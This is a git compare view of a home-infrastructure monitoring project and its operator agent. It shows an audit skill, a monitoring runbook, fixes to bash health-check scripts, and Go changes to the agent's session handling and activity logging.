Compare commits
85 Commits
claude/fro
...
chore/vend
| Author | SHA1 | Date | |
|---|---|---|---|
| 3cd4cf98c3 | |||
| 38c472a118 | |||
| 1d0197da69 | |||
| 0920c4cb6d | |||
| 2254a07baf | |||
| 1b9c761274 | |||
| a126cfa710 | |||
| 86fa57b5cd | |||
| 8e97d589af | |||
| 0dd8c28815 | |||
| 4e294b3630 | |||
| 85f0bb67fa | |||
| c3f478b8f8 | |||
| 1aaedf498a | |||
| 20adb89650 | |||
| 058f1afcdc | |||
| 2b73290994 | |||
| 428f4fe945 | |||
| 195d45a0e9 | |||
| 5b68bdc16c | |||
| 757ef2f34b | |||
| b27e1bf3ec | |||
| 39e9227fdb | |||
| bb05f215c6 | |||
| 467589d78a | |||
| e25e979757 | |||
| bc0ccb4cdc | |||
| c9a00a9532 | |||
| eb16796bf0 | |||
| a3914a1d41 | |||
| 8eb1ca2bac | |||
| e4104eb344 | |||
| 0929c17cbb | |||
| 6487032461 | |||
| fb6b6f9160 | |||
| 62c9fc5c86 | |||
| 6007e922b4 | |||
| 2d8eb91b25 | |||
| 3d88f52988 | |||
| 9016c3a43b | |||
| 04775192c1 | |||
| a104cb4bb4 | |||
| 72f0f46528 | |||
| b87735a111 | |||
| 1540f74342 | |||
| c7729b2ef6 | |||
| b8b4aa2aee | |||
| c10f6920cd | |||
| ad29295c93 | |||
| 6ca6d5b352 | |||
| af450dac2a | |||
| 6ed9dc39e8 | |||
| cc8eae4979 | |||
| 4f706fa65f | |||
| 50e899e5ee | |||
| 42751623ea | |||
| 98e19bb14a | |||
| d7b526a112 | |||
| 1dca2cfd7a | |||
| 7e1ccad5f4 | |||
| 89312a9ce4 | |||
| ce0e4142ff | |||
| 873b00ac42 | |||
| b345783eef | |||
| 29d5cb8b85 | |||
| 8f440c5ad5 | |||
| 4e4e2c169c | |||
| c151a66627 | |||
| 1c12d40712 | |||
| 482c7f3448 | |||
| 50aed11cc4 | |||
| ccbf6a8aac | |||
| ef2956619f | |||
| dffe01fb02 | |||
| 0f9e366ad5 | |||
| 052230209c | |||
| e5a81241b7 | |||
| 6b6bfe1fd8 | |||
| ce34cfeac7 | |||
| 55b93c59ef | |||
| eb3d2de1ca | |||
| d82095213a | |||
| 7b1dfbc8aa | |||
| f1cdf4ea13 | |||
| e055a7c6ce |
87
.agents/skills/knowledge-graph-audit/SKILL.md
Normal file
87
.agents/skills/knowledge-graph-audit/SKILL.md
Normal file
@@ -0,0 +1,87 @@
|
||||
---
|
||||
name: knowledge-graph-audit
|
||||
risk_class: read_only
|
||||
inputs: []
|
||||
verification: "audit_knowledge_graph returns a report with summary.total_findings"
|
||||
docs_update_checklist: []
|
||||
---
|
||||
|
||||
# Knowledge-graph audit
|
||||
|
||||
Goal: validate that the knowledge graph (entities, relationships, checks) and
|
||||
the monitoring built on it reflect live reality — without mutating anything.
|
||||
Read-only. Run this before trusting health, blast-radius, or coverage answers,
|
||||
and whenever something feels off (a healthy host reports `down`, a retired
|
||||
service still alarms, the graph looks thin).
|
||||
|
||||
## 1. Run the drift report
|
||||
|
||||
Call MCP `audit_knowledge_graph` (or `GET /api/v1/audit/drift`). It returns a
|
||||
ranked list of findings, each with `{category, severity, count, entities,
|
||||
evidence, suggested_runbook}`, plus a `summary` with totals by category.
|
||||
|
||||
The DB-side categories:
|
||||
|
||||
- **orphan_checks** — check entities with truncated/random slugs left by the
|
||||
old `shortSlug()` collision bug. Remediation: `scripts/cleanup-orphan-checks.sh`.
|
||||
- **dead_checks** — enabled `check_defs` whose target entity is `deprecated`/
|
||||
`destroyed`. Remediation: `lifecycle-deprecate-node` / `lifecycle-destroy-node`
|
||||
(the scheduler already skips these, but the rows should be retired).
|
||||
- **down_checks** — enabled probes reporting `down`. Remediation:
|
||||
`service-health-check` (then check whether the failure is real or a
|
||||
probe-config/routing problem — see step 3).
|
||||
- **unknown_checks** — probes that ran but reported `unknown` (usually a
|
||||
misconfigured or not-yet-deployed probe script).
|
||||
- **unmonitored** — active entities whose type declares monitoring but have no
|
||||
enabled `check_def`.
|
||||
- **dangling_edges** — live `hosts`/`provides`/`mounts` edges still pointing at
|
||||
destroyed/deprecated targets. Remediation: `lifecycle-destroy-node`.
|
||||
|
||||
## 2. Triage
|
||||
|
||||
`severity: critical` (down_checks) first. For each finding, read `evidence` and
|
||||
open the entities with `get_entity` / `get_relations` to confirm the diagnosis
|
||||
before acting — the report is a pointer, not a verdict.
|
||||
|
||||
## 3. Common probe-failure causes
|
||||
|
||||
A `down_checks` finding that is NOT a real outage is usually one of:
|
||||
|
||||
- **Guest reached wrong** — an LXC/VM check SSHed the guest directly instead of
|
||||
routing through its Proxmox host. Confirm with `get_relations` that a `hosts`
|
||||
edge exists and the guest has `pve_id`; checks route via `pct exec`/`qm guest
|
||||
exec` automatically when both are present.
|
||||
- **Script not deployed** — the probe script is absent at `/opt/oikos/checks/`
|
||||
inside the target. Remediation: redeploy via `tools/deploy-checks.sh`.
|
||||
- **macOS host** — a workstation check used the wrong SSH user or a Linux-only
|
||||
script flag. The scheduler resolves `user: dtoro` from the entity attribute.
|
||||
|
||||
## 4. What this audit does NOT cover (follow-ups)
|
||||
|
||||
Live-infrastructure discovery has its own tool — run **`discover_infra_drift`**
|
||||
alongside this one. It compares running Proxmox guests (`pct`/`qm list` on every
|
||||
proxmox host) against the DB graph and returns:
|
||||
|
||||
- **missing entities** — a guest running in Proxmox with no DB entity.
|
||||
- **ghost entities** — a DB lxc/vm whose `pve_id` is no longer live.
|
||||
|
||||
Still manual until that machinery lands:
|
||||
|
||||
- **Misplaced parent** — compare each guest's actual Proxmox host against its
|
||||
`hosts` edge (migrations leave these stale).
|
||||
- **Undeployed scripts** — per-guest `/opt/oikos/checks/` presence.
|
||||
- **Unmodeled certs** — now modeled; verify with `audit_knowledge_graph` /
|
||||
the cert-expiry checks.
|
||||
- **Seed drift** — run `oikos export` and `git diff seeds/` to find
|
||||
runtime-created entities not in version control.
|
||||
|
||||
## 5. Acting on findings
|
||||
|
||||
This skill is read-only — make no changes here. Route each confirmed finding to
|
||||
its `suggested_runbook`, classify the action against `seeds/policy.yaml`, and
|
||||
proceed through the normal lifecycle/approval flow. Re-run the audit afterward
|
||||
to confirm the finding cleared.
|
||||
|
||||
Docs-update checklist: none — the audit reads state; it changes nothing. If a
|
||||
finding reveals stale `risk_notes` or a wrong `doc_page`, fix `inventory.yaml`
|
||||
in that remediation session.
|
||||
12
.dockerignore
Normal file
12
.dockerignore
Normal file
@@ -0,0 +1,12 @@
|
||||
# Every docker build in this repo previously sent the whole directory as
|
||||
# build context — including every OTHER git worktree under .claude/worktrees/
|
||||
# (each with its own web/node_modules, ~200-300MB apiece). That's what
|
||||
# starved the mac-mini's disk mid-build on 2026-07-27 (SHA 873b00a): the
|
||||
# context alone crossed 390MB of pure worktree cruft before the host ran out
|
||||
# of space. None of this ever belonged in an image.
|
||||
.claude/worktrees/
|
||||
.git/
|
||||
**/node_modules/
|
||||
**/dist/
|
||||
**/build/
|
||||
*.log
|
||||
4
.gitignore
vendored
4
.gitignore
vendored
@@ -24,3 +24,7 @@ cmd/desktop/build/
|
||||
cmd/desktop/Oikos
|
||||
desktop
|
||||
/eval
|
||||
|
||||
# Local tooling artifacts (Playwright MCP session logs, stray screenshots)
|
||||
.playwright-mcp/
|
||||
config-screen.png
|
||||
|
||||
@@ -2284,6 +2284,23 @@ components:
|
||||
type: boolean
|
||||
version:
|
||||
type: integer
|
||||
last_health:
|
||||
type: string
|
||||
description: >-
|
||||
This check's own most recent verdict. An entity's health is the
|
||||
worst of these across its enabled checks, so this is what explains
|
||||
*why* an entity is degraded. Null until the check first runs.
|
||||
nullable: true
|
||||
enum:
|
||||
- healthy
|
||||
- degraded
|
||||
- down
|
||||
- unknown
|
||||
last_run_at:
|
||||
type: string
|
||||
format: date-time
|
||||
description: When this check last executed. Null = never run.
|
||||
nullable: true
|
||||
CheckCreate:
|
||||
type: object
|
||||
required:
|
||||
|
||||
104
archive/knowledge/infrastructure/oikos-check-lifecycle.md
Normal file
104
archive/knowledge/infrastructure/oikos-check-lifecycle.md
Normal file
@@ -0,0 +1,104 @@
|
||||
# Oikos check lifecycle — how monitoring works
|
||||
|
||||
This runbook covers how Oikos health checks are derived, created, and wired so
|
||||
an agent (Nomos) doesn't reverse-engineer source when asked to add monitoring to
|
||||
an entity — the problem that stranded session `23da10db` (2026-08-03).
|
||||
|
||||
## Concepts
|
||||
|
||||
- **`check_defs`** (scheduler config, table `check_defs`): the row the scheduler
|
||||
reads to know *what* to probe and *when*. One per check instance.
|
||||
- **`check` entity** (type `check`, slug `check:<kind>:<target>:<n>`): the
|
||||
knowledge-graph entity for that check. It carries attributes
|
||||
(`check_type`, `target`, `port`, …) and `checks` edges to the probed target.
|
||||
- **`monitoring` spec** on an entity type (`entity_types.monitoring_spec`): the
|
||||
default list of check kinds (e.g. `[http, process]` for `service`).
|
||||
- Per-entity override: set `monitoring` in the entity's attributes —
|
||||
`"none"` for zero checks, `["http"]` to replace the type defaults.
|
||||
- **`checkdefaults.Ensure`** (`internal/checkdefaults/defaults.go`): the
|
||||
function that reads the monitoring spec, resolves host/port/URL from
|
||||
attributes + relationships, and writes `check_defs` rows. Idempotent.
|
||||
|
||||
## When checks are derived
|
||||
|
||||
`checkdefaults.Ensure` runs in three situations (as of v0.17.1+):
|
||||
|
||||
1. **Seed/deploy ingest** — `internal/db/seed.go:231`. Every entity gets its
|
||||
default checks once on initial ingest.
|
||||
2. **HTTP `POST /api/v1/entities` (create)** — `ensureDefaultChecks` at
|
||||
`internal/httpapi/impl.go:1012`. Creating an entity via the REST API derives
|
||||
its checks in the same transaction.
|
||||
3. **HTTP `PATCH /api/v1/entities` (patch)** — `ensureDefaultChecks` at
|
||||
`internal/httpapi/impl.go:1280`. Changing an entity's attributes (especially
|
||||
`monitoring`) via the REST API regenerates its checks.
|
||||
4. **MCP `create_entity`** — SAME hook. Creating an entity via the MCP tool
|
||||
derives checks. (Added 2026-08-03; previously MCP had no create.)
|
||||
5. **MCP `update_entity_attributes`** — SAME hook. Changing an entity's
|
||||
`monitoring` attribute via MCP now regenerates checks. (Added 2026-08-03;
|
||||
previously MCP updates silently skipped check derivation — the exact bug
|
||||
that stranded the haos session.)
|
||||
|
||||
## Check slug grammar
|
||||
|
||||
```
|
||||
check:<kind>:<target-type>:<target-name>:<n>
|
||||
```
|
||||
|
||||
Examples: `check:http:service:jellyfin:0`, `check:vm-status:vm:haos:0`,
|
||||
`check:cert-expiry:cert:house.hubris.network:0`.
|
||||
|
||||
## Adding monitoring to an entity
|
||||
|
||||
**If the entity already exists:**
|
||||
|
||||
```
|
||||
update_entity_attributes(slug="service:haos", attributes={"monitoring":["http"]})
|
||||
```
|
||||
|
||||
This regenerates checks via `checkdefaults.Ensure`. The result message tells you
|
||||
how many checks were derived and whether any kinds were skipped (and why).
|
||||
|
||||
**If the entity does not exist yet (a new check, ingress, cert, etc.):**
|
||||
|
||||
```
|
||||
create_entity(type="check", name="HAOS http check",
|
||||
slug="check:http:service:haos:0",
|
||||
attributes={"check_type":"http:service","target":"service:haos","port":"8123"})
|
||||
```
|
||||
|
||||
This creates the entity AND derives its `check_defs`. Same for a new `ingress`
|
||||
(`type=ingress`, monitoring `[http]`) or `cert` (`type=cert`,
|
||||
monitoring `[cert-expiry]`).
|
||||
|
||||
**To remove monitoring:** set `monitoring:["none"]` or transition the entity
|
||||
to a terminal lifecycle state (`set_entity_state` → `deprecated`/`destroyed`).
|
||||
|
||||
## Caveats
|
||||
|
||||
- **A service without a `url` attribute AND without a `probe_unit` gets no
|
||||
process check** (the http check covers liveness; the process check would
|
||||
be redundant without an opt-in `probe_unit`). The skip is logged.
|
||||
- **A service whose address comes from a `hosts` edge** may produce no checks on
|
||||
initial create because the edge doesn't exist yet — the next inventory ingest
|
||||
(or a later `update_entity_attributes` after the edge is created) fills it in.
|
||||
- **A `not found` error from `update_entity_attributes`** means the entity
|
||||
doesn't exist — use `create_entity` instead.
|
||||
- **`check_defs` has target columns** (`target_id`, `target_type`). A check
|
||||
entity needs a `checks` relationship (`create_relationship(source=check:…,
|
||||
target=service:…, type="checks")`) so the scheduler can resolve what to
|
||||
probe. `create_entity` derives the check_def; `create_relationship` links
|
||||
the check entity to its target in the graph.
|
||||
|
||||
## Related files
|
||||
|
||||
- `internal/checkdefaults/defaults.go` — `Ensure`, `Target`, `LogResult`
|
||||
- `internal/httpapi/default_checks.go` — `ensureDefaultChecks` (HTTP hook)
|
||||
- `internal/db/checks.go` — `db.EnsureEntityChecks` (shared hook)
|
||||
- `internal/db/seed.go` — seed-time check derivation
|
||||
- `internal/mcp/tools.go` — `create_entity`, `update_entity_attributes`
|
||||
|
||||
## Revision history
|
||||
|
||||
- **2026-08-03:** Created after session `23da10db` stranded for lack of entity-
|
||||
creation tool and unawareness of check-derivation triggers. Covers the MCP
|
||||
create_entity + update_entity_attributes regen paths added same day.
|
||||
@@ -2,12 +2,27 @@
|
||||
# cpu_check.sh — CPU usage % and thermal temperature.
|
||||
set -euo pipefail
|
||||
|
||||
USAGE=$(top -bn1 2>/dev/null | awk '/^%Cpu/ {print 100 - $8}' || true)
|
||||
if [ -z "$USAGE" ]; then
|
||||
CORES=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 1)
|
||||
USAGE=$(awk -v cores="$CORES" '{print ($1+$2+$3)*100/cores}' /proc/loadavg 2>/dev/null || echo "0")
|
||||
os=$(uname -s)
|
||||
|
||||
if [ "$os" = "Darwin" ]; then
|
||||
# `top -l 1 -n 0` prints "CPU usage: X% user, Y% sys, Z% idle".
|
||||
# Usage is 100 minus the idle figure that precedes the literal `idle`.
|
||||
USAGE=$(top -l 1 -n 0 -s 0 2>/dev/null | awk '
|
||||
/^CPU usage/ {
|
||||
for (i = 1; i <= NF; i++) {
|
||||
if ($i == "idle") { gsub(/%/, "", $(i - 1)); printf "%.1f", 100 - $(i - 1) }
|
||||
}
|
||||
}' || true)
|
||||
else
|
||||
USAGE=$(top -bn1 2>/dev/null | awk '/^%Cpu/ {print 100 - $8}' || true)
|
||||
if [ -z "$USAGE" ]; then
|
||||
CORES=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 1)
|
||||
USAGE=$(awk -v cores="$CORES" '{print ($1+$2+$3)*100/cores}' /proc/loadavg 2>/dev/null || echo "0")
|
||||
fi
|
||||
fi
|
||||
|
||||
[ -z "$USAGE" ] && USAGE=0
|
||||
|
||||
TEMP=""
|
||||
if [ -f /sys/class/thermal/thermal_zone0/temp ]; then
|
||||
TEMP=$(awk '{printf "%.1f", $1/1000}' /sys/class/thermal/thermal_zone0/temp 2>/dev/null || true)
|
||||
|
||||
22
checks/disk_usage_check.sh
Normal file → Executable file
22
checks/disk_usage_check.sh
Normal file → Executable file
@@ -2,18 +2,34 @@
|
||||
# disk_usage_check.sh — disk usage and inode usage per mountpoint.
|
||||
set -euo pipefail
|
||||
|
||||
MOUNTS=$(df -k 2>/dev/null | awk 'NR>1 && $1 ~ /^\// && $NF !~ /^\/(snap|dev|proc|sys|run|private)/ {print $NF}' || true)
|
||||
# `timeout` caps each df so a single hung/stale mountpoint (a stale NFS
|
||||
# export, a wedged ZFS pool) can't stall the whole check — that hung the
|
||||
# scheduler's 30s budget on hubris. Available on Linux (coreutils); absent on
|
||||
# Darwin, whose local mounts don't hang, so it degrades to an empty prefix.
|
||||
TO=""
|
||||
if command -v timeout >/dev/null 2>&1; then TO="timeout 8"; fi
|
||||
|
||||
# Build the mount list WITHOUT statting anything: reading /proc/mounts never
|
||||
# blocks the way `df` does on a stuck filesystem, so the enumeration itself
|
||||
# can't hang. Fall back to `df` on hosts without /proc/mounts (macOS).
|
||||
if [ -r /proc/mounts ]; then
|
||||
MOUNTS=$(awk '$1 ~ /^\// && $2 !~ /^\/(snap|dev|proc|sys|run|private)/ {print $2}' /proc/mounts || true)
|
||||
else
|
||||
MOUNTS=$($TO df -k 2>/dev/null | awk 'NR>1 && $1 ~ /^\// && $NF !~ /^\/(snap|dev|proc|sys|run|private)/ {print $NF}' || true)
|
||||
fi
|
||||
FIRST=1
|
||||
|
||||
echo -n '{"health":"healthy","metrics":{'
|
||||
for m in $MOUNTS; do
|
||||
LINE=$(df -k "$m" 2>/dev/null | awk 'NR==2 {print $3, $4, $5, $7}' | tr -d '%' || true)
|
||||
# Each df is bounded: a stuck mount times out and is skipped (LINE empty)
|
||||
# rather than hanging the probe.
|
||||
LINE=$($TO df -k "$m" 2>/dev/null | awk 'NR==2 {print $3, $4, $5, $7}' | tr -d '%' || true)
|
||||
if [ -z "$LINE" ]; then continue; fi
|
||||
USED=$(echo "$LINE" | awk '{print $1}')
|
||||
FREE=$(echo "$LINE" | awk '{print $2}')
|
||||
PCT=$(echo "$LINE" | awk '{print $3}')
|
||||
|
||||
INODE_LINE=$(df -i "$m" 2>/dev/null | awk 'NR==2 {print $5}' | tr -d '%' || echo "0")
|
||||
INODE_LINE=$($TO df -i "$m" 2>/dev/null | awk 'NR==2 {print $5}' | tr -d '%' || echo "0")
|
||||
INODE_PCT=$(echo "${INODE_LINE:-0}" | sed 's/-/0/')
|
||||
|
||||
KEY=$(echo "$m" | sed 's|/|_|g' | sed 's|^_||')
|
||||
|
||||
@@ -1,5 +1,17 @@
|
||||
#!/usr/bin/env bash
|
||||
# process_check.sh — systemd service liveness.
|
||||
# process_check.sh — service liveness.
|
||||
#
|
||||
# A service entity's name is a logical label, rarely the literal systemd unit
|
||||
# or container name. matrix = matrix-synapse.service + element-web/mautrix-*
|
||||
# containers; authentik = authentik-server/-worker containers. So checking
|
||||
# `systemctl is-active matrix` reports "inactive" for a healthy service.
|
||||
#
|
||||
# Resolution order, any hit = healthy:
|
||||
# 1. exact systemd unit `systemctl is-active <name>`
|
||||
# 2. a systemd unit with the name as prefix `<name>*.service`
|
||||
# 3. a running docker container whose name contains <name>
|
||||
# An explicit probe target overrides the label — see checkdefaults, which
|
||||
# passes a `probe_unit`/`container`/`systemd_unit` attribute as $1 when set.
|
||||
set -euo pipefail
|
||||
|
||||
SERVICE="${1:-}"
|
||||
@@ -8,15 +20,31 @@ if [ -z "$SERVICE" ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if ! command -v systemctl >/dev/null 2>&1; then
|
||||
echo '{"health":"unknown","signalKind":"process-check","evidence":"systemctl not found"}'
|
||||
exit 0
|
||||
ok() { echo "{\"health\":\"healthy\"}"; exit 0; }
|
||||
|
||||
# 1. exact systemd unit
|
||||
if command -v systemctl >/dev/null 2>&1; then
|
||||
STATE=$(systemctl is-active "$SERVICE" 2>/dev/null | head -1 || true)
|
||||
[ "$STATE" = "active" ] && ok
|
||||
|
||||
# 2. prefix match: matrix -> matrix-synapse.service, house -> house.service, etc.
|
||||
# --no-legend strips the header/footer so grep can see the unit rows; the
|
||||
# pattern is a systemd unit glob.
|
||||
if systemctl list-units --type=service --state=active --no-legend "$SERVICE*.service" 2>/dev/null \
|
||||
| grep -q '\.service'; then
|
||||
ok
|
||||
fi
|
||||
fi
|
||||
|
||||
STATE=$(systemctl is-active "$SERVICE" 2>/dev/null || echo "unknown")
|
||||
|
||||
if [ "$STATE" = "active" ]; then
|
||||
echo "{\"health\":\"healthy\"}"
|
||||
else
|
||||
echo "{\"health\":\"degraded\",\"signalKind\":\"$SERVICE\",\"evidence\":\"$SERVICE is $STATE\"}"
|
||||
# 3. a running docker container whose name contains the label.
|
||||
if command -v docker >/dev/null 2>&1; then
|
||||
if docker ps --filter "status=running" --filter "name=$SERVICE" --format '{{.Names}}' 2>/dev/null \
|
||||
| grep -q .; then
|
||||
ok
|
||||
fi
|
||||
fi
|
||||
|
||||
STATE=${STATE:-inactive}
|
||||
STATE=${STATE//\"/}
|
||||
SAFE_SERVICE=${SERVICE//\"/}
|
||||
echo "{\"health\":\"degraded\",\"signalKind\":\"process\",\"evidence\":\"$SAFE_SERVICE is $STATE (no active unit/container matched)\"}"
|
||||
|
||||
@@ -57,6 +57,13 @@ type agent struct {
|
||||
apiBase string // oikos HTTP API base, derived from NOMOS_MCP_URL, for chat-assent approvals
|
||||
apiToken string // OIKOS_MCP_BEARER_TOKEN — api's combinedAuth requires it (no dev-open bypass)
|
||||
httpClient *http.Client
|
||||
// gate serializes turns per session (at most one in-flight turn per
|
||||
// sessionID). See turngate.go and plan 2026-08-03 F1.
|
||||
gate *turnGate
|
||||
// queue holds operator messages that arrived while a turn was already
|
||||
// running; they are auto-run when the gate frees (plan 2026-08-03 F2).
|
||||
// See messagequeue.go.
|
||||
queue *messageQueue
|
||||
}
|
||||
|
||||
func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug string) (*agent, error) {
|
||||
@@ -117,6 +124,8 @@ func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug
|
||||
apiBase: apiBase,
|
||||
apiToken: os.Getenv("OIKOS_MCP_BEARER_TOKEN"),
|
||||
httpClient: &http.Client{Timeout: 15 * time.Second},
|
||||
gate: newTurnGate(),
|
||||
queue: newMessageQueue(),
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -172,6 +181,11 @@ type agentEvent struct {
|
||||
Data any `json:"data,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
Iteration int `json:"iteration,omitempty"`
|
||||
// IsThinking marks text/text_delta events that carry the model's internal
|
||||
// reasoning (text produced before tool calls in the same iteration), as
|
||||
// distinct from the final response text. The frontend renders these as
|
||||
// collapsible thinking blocks separated from the response.
|
||||
IsThinking bool `json:"is_thinking,omitempty"`
|
||||
}
|
||||
|
||||
func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(agentEvent)) {
|
||||
@@ -368,7 +382,12 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
||||
var msg openai.ChatCompletionMessage
|
||||
var acc openai.ChatCompletionAccumulator
|
||||
|
||||
for attempt := 0; attempt <= maxLLMRetries; attempt++ {
|
||||
// Capture token usage from this LLM response for activity logging.
|
||||
// Previously always NULL — every agent_activity row had no token
|
||||
// count. Now each tool call in this iteration gets the same total.
|
||||
totalTokens := 0
|
||||
|
||||
for attempt := 0; attempt <= maxLLMRetries; attempt++ {
|
||||
acc = openai.ChatCompletionAccumulator{}
|
||||
stream := a.provider.Chat.Completions.NewStreaming(ctx, params, a.reqOpts...)
|
||||
for stream.Next() {
|
||||
@@ -400,14 +419,19 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
||||
msg = acc.Choices[0].Message
|
||||
finishReason := acc.Choices[0].FinishReason
|
||||
|
||||
// Capture token usage from this iteration.
|
||||
if acc.Usage.TotalTokens > 0 {
|
||||
totalTokens = int(acc.Usage.TotalTokens)
|
||||
}
|
||||
|
||||
if len(msg.ToolCalls) == 0 {
|
||||
if isRefusalOrEmpty(msg.Content) {
|
||||
if attempt < maxLLMRetries {
|
||||
slog.Warn("nomos: empty or refusal response, retrying",
|
||||
"session", sessionID, "iter", i+1, "attempt", attempt+1,
|
||||
"content_len", len(msg.Content), "finish_reason", finishReason)
|
||||
continue
|
||||
}
|
||||
if attempt < maxLLMRetries {
|
||||
slog.Warn("nomos: empty or refusal response, retrying",
|
||||
"session", sessionID, "iter", i+1, "attempt", attempt+1,
|
||||
"content_len", len(msg.Content), "finish_reason", finishReason)
|
||||
continue
|
||||
}
|
||||
// B.4: surface the real error context (finish_reason +
|
||||
// refusal text) instead of a generic "empty response" —
|
||||
// the operator can tell "content_filter — rephrase" from
|
||||
@@ -456,7 +480,7 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
||||
// led to each step. Emitting it lets the persist layer accumulate
|
||||
// per-iteration reasoning into the row's text field.
|
||||
if strings.TrimSpace(msg.Content) != "" {
|
||||
emit(agentEvent{Type: "text", Data: msg.Content, SessionID: sessionID})
|
||||
emit(agentEvent{Type: "text", Data: msg.Content, SessionID: sessionID, IsThinking: true})
|
||||
}
|
||||
|
||||
slog.Info("nomos: tool calls", "count", len(msg.ToolCalls), "iter", i+1, "correlation", correlationID)
|
||||
@@ -491,7 +515,7 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
||||
slog.Warn("nomos: run retry cap hit — refusing dispatch",
|
||||
"target", t, "failures", n, "session", sessionID)
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args,
|
||||
tc.Function.Arguments, directive, 0, false, correlationID)
|
||||
tc.Function.Arguments, directive, 0, false, correlationID, totalTokens)
|
||||
emit(agentEvent{
|
||||
Type: "tool_result",
|
||||
Data: map[string]any{"name": tc.Function.Name, "result": directive, "id": tc.ID, "retry_capped": true},
|
||||
@@ -542,7 +566,7 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
||||
inputStr := string(inputJSON)
|
||||
|
||||
if callErr != nil {
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, callErr.Error(), elapsed, false, correlationID)
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, callErr.Error(), elapsed, false, correlationID, totalTokens)
|
||||
|
||||
// Retry cap: dispatch errors (e.g. MCP client timeout)
|
||||
// count toward the cap too. A command that keeps timing
|
||||
@@ -572,7 +596,7 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
||||
}
|
||||
|
||||
resultJSON, _ := json.Marshal(result)
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, string(resultJSON), elapsed, true, correlationID)
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, string(resultJSON), elapsed, true, correlationID, totalTokens)
|
||||
|
||||
// Link any execution this tool queued/started back to this
|
||||
// session, so the auto-continuation worker can feed its result
|
||||
|
||||
@@ -76,16 +76,20 @@ func (a *agent) processIdleSweep(ctx context.Context) {
|
||||
s := s
|
||||
if s.CompletionNudges == 0 {
|
||||
safego.Go("nomos:idle-nudge:"+s.ID, func() {
|
||||
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil {
|
||||
slog.Error("nomos: idle nudge bump failed", "session", s.ID, "error", err)
|
||||
return
|
||||
note := fmt.Sprintf("[System: this task ('%s') has been idle for %s with no complete_task call. "+
|
||||
"If the goal is done (or can't be completed), call complete_task now with the outcome and a "+
|
||||
"one-line summary. If you're still genuinely working through the plan, ignore this and continue.]",
|
||||
s.Goal, idleTaskThreshold)
|
||||
note = a.store.enrichResumeNote(ctx, s.ID, note)
|
||||
// P1: only count the nudge if it actually delivered. resumeSession
|
||||
// skips (returns false) when a turn is already active; bumping the
|
||||
// counter anyway would make the next sweep auto-close a merely-busy
|
||||
// session as "unanswered."
|
||||
if a.resumeSession(ctx, s.ID, note) {
|
||||
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil {
|
||||
slog.Error("nomos: idle nudge bump failed", "session", s.ID, "error", err)
|
||||
}
|
||||
}
|
||||
note := fmt.Sprintf("[System: this task ('%s') has been idle for %s with no complete_task call. "+
|
||||
"If the goal is done (or can't be completed), call complete_task now with the outcome and a "+
|
||||
"one-line summary. If you're still genuinely working through the plan, ignore this and continue.]",
|
||||
s.Goal, idleTaskThreshold)
|
||||
note = a.store.enrichResumeNote(ctx, s.ID, note)
|
||||
a.resumeSession(ctx, s.ID, note)
|
||||
})
|
||||
continue
|
||||
}
|
||||
@@ -163,7 +167,9 @@ func (a *agent) processContinuations(ctx context.Context) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
a.store.markContinued(ctx, p.ExecID) // stamp first: a failure here must not cause a re-continue loop
|
||||
// markContinued now happens inside continueSession, AFTER resumeSession
|
||||
// actually runs (P0). Pre-marking here consumed the item even when
|
||||
// resumeSession skipped on a busy session, losing the result.
|
||||
safego.Go("nomos:continue-session:"+p.SessionID, func() { a.continueSession(ctx, p) })
|
||||
}
|
||||
}
|
||||
@@ -179,7 +185,18 @@ func (a *agent) processContinuations(ctx context.Context) {
|
||||
// something new to poll for.
|
||||
func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
||||
slog.Info("nomos: auto-continuing session", "session", p.SessionID, "execution", p.ExecID, "status", p.Status)
|
||||
a.resumeSession(ctx, p.SessionID, buildContinuationNote(p))
|
||||
// P0 (plans/2026-08-03-nomos-chat-changes-review.md): mark the execution
|
||||
// continued ONLY after the turn actually ran. resumeSession skips (returns
|
||||
// false) when another turn is already active for this session; marking
|
||||
// before that — as the old code did — consumed the item (continued_at set,
|
||||
// never re-queued by pendingContinuations) and silently lost the result.
|
||||
// On a skip, leave it pending so the next worker tick retries once the
|
||||
// active turn frees the permit.
|
||||
if !a.resumeSession(ctx, p.SessionID, buildContinuationNote(p)) {
|
||||
slog.Info("nomos: continuation deferred — a turn is active; will retry next tick", "session", p.SessionID, "execution", p.ExecID)
|
||||
return
|
||||
}
|
||||
a.store.markContinued(ctx, p.ExecID)
|
||||
}
|
||||
|
||||
// resumeSession re-invokes the agent for a session with a system-injected note —
|
||||
@@ -187,7 +204,32 @@ func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
||||
// (handleAnswerQuestion) — persisting progress LIVE (a placeholder row updated
|
||||
// in place as each tool call lands) so the frontend poller sees each step,
|
||||
// instead of total silence until the whole resume concludes.
|
||||
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
//
|
||||
// F1 (plan 2026-08-03): this is the single entry point for EVERY background
|
||||
// turn — the continuation worker, idle sweep, answer-question, /resume, and the
|
||||
// empty-message reconnect all funnel through here. It acquires the session's
|
||||
// turn permit non-blocking and SKIPS if a turn is already running. A duplicate
|
||||
// resume while a turn (live or background) is active is exactly the
|
||||
